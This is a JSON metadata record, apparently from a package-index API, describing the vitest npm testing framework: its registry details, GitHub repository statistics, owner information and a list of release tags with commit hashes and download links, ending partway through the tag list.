{"id":9,"name":"vitest","ecosystem":"npm","repository_url":"https://github.com/vitest-dev/vitest","issues_count":43126,"created_at":"2025-06-06T15:01:32.366Z","updated_at":"2025-06-06T15:01:32.366Z","purl":"pkg:npm/vitest","metadata":{"id":2527807,"name":"vitest","ecosystem":"npm","description":"Next generation testing framework powered by Vite","homepage":"https://github.com/vitest-dev/vitest#readme","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/vitest-dev/vitest","keywords_array":["vite","vitest","test","jest"],"namespace":null,"versions_count":410,"first_release_published_at":"2021-12-03T13:34:59.857Z","latest_release_published_at":"2025-06-05T13:42:39.189Z","latest_release_number":"3.2.2","last_synced_at":"2025-06-05T13:45:21.758Z","created_at":"2022-04-10T03:03:52.003Z","updated_at":"2025-06-05T13:45:22.230Z","registry_url":"https://www.npmjs.com/package/vitest","install_command":"npm install vitest","documentation_url":null,"metadata":{"funding":"https://opencollective.com/vitest","dist-tags":{"beta":"3.2.0-beta.3","latest":"3.2.2"}},"repo_metadata":{"id":36973277,"uuid":"434708679","full_name":"vitest-dev/vitest","owner":"vitest-dev","description":"Next generation testing framework powered by Vite.","archived":false,"fork":false,"pushed_at":"2024-05-19T02:21:57.000Z","size":18965,"stargazers_count":11941,"open_issues_count":290,"forks_count":1040,"subscribers_count":51,"default_branch":"main","last_synced_at":"2024-05-19T06:37:14.653Z","etag":null,"topics":["test","testing-tools","vite"],"latest_commit_sha":null,"homepage":"https://vitest.dev","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/vitest-dev.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":"CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null},"funding":{"github":["vitest-dev","sheremet-va","antfu","patak-dev"],"open_collective":"vitest"}},"created_at":"2021-12-03T19:19:49.000Z","updated_at":"2024-05-20T17:04:06.162Z","dependencies_parsed_at":"2024-03-04T19:14:26.209Z","dependency_job_id":"dcbda312-9bd4-45f7-b323-b82024465379","html_url":"https://github.com/vitest-dev/vitest","commit_stats":{"total_commits":3629,"total_committers":470,"mean_commits":7.721276595744681,"dds":0.699917332598512,"last_synced_commit":"a4ec583191e7576b0272e5cbbea691e3cc1d2ca8"},"previous_names":[],"tags_count":355,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/vitest-dev","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":217595352,"owners_count":16201701,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"vitest-dev","name":"Vitest","uuid":"95747107","kind":"organization","description":"A blazing fast unit test framework powered by Vite","email":"vitest.dev@gmail.com","website":"https://vitest.dev","location":null,"twitter":"vitest_dev","company":null,"icon_url":"https://avatars.githubusercontent.com/u/95747107?v=4","repositories_count":5,"last_synced_at":"2024-05-01T09:30:39.824Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/vitest-dev","funding_links":["https://github.com/sponsors/vitest-dev"],"total_stars":12689,"followers":414,"following":0,"created_at":"2022-11-02T16:35:36.929Z","updated_at":"2024-05-01T09:30:40.336Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/vitest-dev","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/vitest-dev/repositories"},"tags":[{"name":"v2.0.0-beta.3","sha":"285865fb210a8b357c6e8e8138b8a99805bed41c","kind":"tag","published_at":"2024-05-14T18:42:37.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v2.0.0-beta.3","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v2.0.0-beta.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v2.0.0-beta.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v2.0.0-beta.3/manifests"},{"name":"v2.0.0-beta.2","sha":"7bb0f9369bfd5d620a5bf0a0d8b233a15af5c229","kind":"tag","published_at":"2024-05-09T15:27:52.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v2.0.0-beta.2","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v2.0.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v2.0.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v2.0.0-beta.2/manifests"},{"name":"v2.0.0-beta.1","sha":"5fd8147ac97fa1ee8cef7893c5e072acbedca014","kind":"tag","published_at":"2024-05-09T14:23:19.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v2.0.0-beta.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v2.0.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v2.0.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v2.0.0-beta.1/manifests"},{"name":"v1.6.0","sha":"6b29f3ddc86060cf3265959d4ae32e90b186cb92","kind":"tag","published_at":"2024-05-03T15:19:11.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v1.6.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.6.0/manifests"},{"name":"v1.5.3","sha":"a52964b1d671075e98a97717a872e2ddbf0dc6e0","kind":"tag","published_at":"2024-04-30T08:38:12.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v1.5.3","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.5.3/manifests"},{"name":"v1.5.2","sha":"81f57f429c07b97a618b97260ed4d07190097764","kind":"tag","published_at":"2024-04-25T09:09:49.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v1.5.2","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.5.2/manifests"},{"name":"v1.5.1","sha":"1be4510d4834c9ed885523274bf8d94c0cb0c2fe","kind":"tag","published_at":"2024-04-24T11:19:31.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v1.5.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.5.1/manifests"},{"name":"v1.5.0","sha":"9e7a01cc8c8fd088004532f42e20edb54974e16d","kind":"tag","published_at":"2024-04-11T17:43:56.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v1.5.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.5.0/manifests"},{"name":"v1.4.0","sha":"a8da192c61ff0e3adf64b31378546de3b2f4c1bc","kind":"tag","published_at":"2024-03-15T10:28:29.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v1.4.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.4.0/manifests"},{"name":"v1.3.1","sha":"4ff7159049e4dd63501cdf512aea3366b55691cf","kind":"commit","published_at":"2024-02-20T13:45:56.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v1.3.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.3.1/manifests"},{"name":"v1.3.0","sha":"8014614475afa880f4e583b166bb91dea5415cc6","kind":"commit","published_at":"2024-02-16T17:23:30.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v1.3.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.3.0/manifests"},{"name":"v1.2.2","sha":"b1462a46561d06d477cc4cf1ba96787cb66a5cba","kind":"tag","published_at":"2024-01-26T16:24:56.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v1.2.2","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v1.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.2.2/manifests"},{"name":"v1.2.1","sha":"6421c2766c364a9dd37dabac432f792ff1ecc556","kind":"tag","published_at":"2024-01-17T16:23:07.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v1.2.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.2.1/manifests"},{"name":"v1.2.0","sha":"b561c3290de85c58daf7f062cfa0fc163425199e","kind":"tag","published_at":"2024-01-12T16:06:18.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v1.2.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.2.0/manifests"},{"name":"v1.1.3","sha":"a73c1c2ca3a3ca93b317657b9328889434c36344","kind":"tag","published_at":"2024-01-05T08:15:46.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v1.1.3","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v1.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.1.3/manifests"},{"name":"v1.1.2","sha":"be5a259d9cce3be4158dd91efb97f938a5f58659","kind":"tag","published_at":"2024-01-04T16:57:49.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v1.1.2","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v1.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.1.2/manifests"},{"name":"v1.1.1","sha":"c8abbc18e19ee36d3b6f981012ee561cc7aa7fc6","kind":"tag","published_at":"2023-12-31T13:36:21.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v1.1.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.1.1/manifests"},{"name":"v1.1.0","sha":"9497f484cf55392cac224fe0d049d8d5242f9564","kind":"tag","published_at":"2023-12-19T14:05:48.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v1.1.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.1.0/manifests"},{"name":"v1.0.4","sha":"66933c3a590fa5cff35e252a5f107b0f41d9248b","kind":"tag","published_at":"2023-12-09T19:04:39.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v1.0.4","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v1.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.0.4/manifests"},{"name":"v1.0.3","sha":"7c196643ca23f1e3fc4725df6f4ea583be0b094d","kind":"tag","published_at":"2023-12-09T13:05:06.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v1.0.3","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.0.3/manifests"},{"name":"v1.0.2-mbland.0","sha":"f9bbec53fea1f7855fecf7251350a608ab23dc5a","kind":"commit","published_at":"2023-12-08T20:25:20.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v1.0.2-mbland.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v1.0.2-mbland.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.0.2-mbland.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.0.2-mbland.0/manifests"},{"name":"v1.0.2","sha":"7006bb367494536e2ecf762a5636e509734e43e5","kind":"tag","published_at":"2023-12-07T10:12:14.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v1.0.2","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.0.2/manifests"},{"name":"v1.0.1","sha":"08021673df80958552f4c3717ef03fd11f46aee5","kind":"tag","published_at":"2023-12-04T18:04:05.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v1.0.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.0.1/manifests"},{"name":"v1.0.0","sha":"34517cebf428f4d0452c63d9f2ec5ab13fe50c78","kind":"tag","published_at":"2023-12-04T15:45:14.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v1.0.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.0.0/manifests"},{"name":"v1.0.0-beta.6","sha":"b766d3495921c4e100a2102ce0a0992203c74394","kind":"tag","published_at":"2023-11-28T17:26:28.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v1.0.0-beta.6","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v1.0.0-beta.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.0.0-beta.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.0.0-beta.6/manifests"},{"name":"v1.0.0-beta.5","sha":"abe6c72713794c41b144092868c6a1659337dfa4","kind":"tag","published_at":"2023-11-18T09:43:53.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v1.0.0-beta.5","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v1.0.0-beta.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.0.0-beta.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.0.0-beta.5/manifests"},{"name":"v1.0.0-beta.4","sha":"9734e81976e2674a833daef4cbb65252b9c3a06a","kind":"tag","published_at":"2023-11-09T10:12:50.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v1.0.0-beta.4","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v1.0.0-beta.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.0.0-beta.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.0.0-beta.4/manifests"},{"name":"v1.0.0-beta.3","sha":"11082275d87743013e2b7b4db6082234fd20e6f7","kind":"tag","published_at":"2023-10-27T12:44:54.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v1.0.0-beta.3","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v1.0.0-beta.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.0.0-beta.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.0.0-beta.3/manifests"},{"name":"v1.0.0-beta.2","sha":"edddc8ff76325d7a85b98df74a935dbdfc58d86b","kind":"tag","published_at":"2023-10-12T19:26:07.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v1.0.0-beta.2","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v1.0.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.0.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.0.0-beta.2/manifests"},{"name":"v1.0.0-beta.1","sha":"22181f0209992aa4e054dd18cab045007186aa48","kind":"tag","published_at":"2023-10-03T11:30:41.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v1.0.0-beta.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v1.0.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.0.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.0.0-beta.1/manifests"},{"name":"v0.34.7","sha":"ac17283e6ea54b7d8e65de76371c37bf55bb0517","kind":"tag","published_at":"2023-10-02T17:01:24.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.34.7","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.34.7","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.34.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.34.7/manifests"},{"name":"v1.0.0-beta.0","sha":"fad466315447758663687ead1c3e60b1c8e7b69e","kind":"tag","published_at":"2023-10-02T16:39:43.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v1.0.0-beta.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v1.0.0-beta.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.0.0-beta.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v1.0.0-beta.0/manifests"},{"name":"v0.34.6","sha":"23c9db9ac1fee4599c602befecd2b73e229dac36","kind":"tag","published_at":"2023-09-29T07:31:37.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.34.6","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.34.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.34.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.34.6/manifests"},{"name":"v0.34.5","sha":"859d236878739ff64f14a066c34a0d12588e692f","kind":"tag","published_at":"2023-09-21T13:49:46.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.34.5","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.34.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.34.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.34.5/manifests"},{"name":"v0.34.4","sha":"91853bb204ed8dfc3750d54b1b79409168ea440b","kind":"tag","published_at":"2023-09-08T10:33:33.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.34.4","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.34.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.34.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.34.4/manifests"},{"name":"v0.34.3","sha":"bf8393643ab3764ab9d727b6d064f2123832e82f","kind":"tag","published_at":"2023-08-25T07:29:12.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.34.3","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.34.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.34.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.34.3/manifests"},{"name":"v0.34.2","sha":"41e828f59c63d39e7b40ace0d226b37b0a1e3d52","kind":"tag","published_at":"2023-08-17T10:09:03.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.34.2","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.34.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.34.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.34.2/manifests"},{"name":"v0.34.1","sha":"119526827cbaf82b64ba428c9c13dcb1b08f5b64","kind":"tag","published_at":"2023-08-01T16:53:08.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.34.1","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.34.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.34.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.34.1/manifests"},{"name":"v0.34.0","sha":"065a08e41eb5f35ee30da171ea8c027f0e517903","kind":"tag","published_at":"2023-08-01T15:40:27.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.34.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.34.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.34.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.34.0/manifests"},{"name":"v0.33.0","sha":"8dd5ea5ba10c2a99568ff18f6efff356824cb2cf","kind":"tag","published_at":"2023-07-06T14:10:17.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.33.0","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.33.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.33.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.33.0/manifests"},{"name":"v0.32.4","sha":"4e76ca6a30e28050023bc62a44b9243482752582","kind":"tag","published_at":"2023-07-03T11:05:09.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.32.4","html_url":"https://github.com/vitest-dev/vitest/releases/tag/v0.32.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.32.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/vitest-dev%2Fvitest/tags/v0.32.4/manifests"},{"name":"v0.32.3","sha":"148dd9b0da462b447973ce96124ad5bb7242925f","kind":"tag","published_at":"2023-07-03T08:34:54.000Z","download_url":"https://codeload.github.com/vitest-dev/vitest/tar.gz/v0.32.3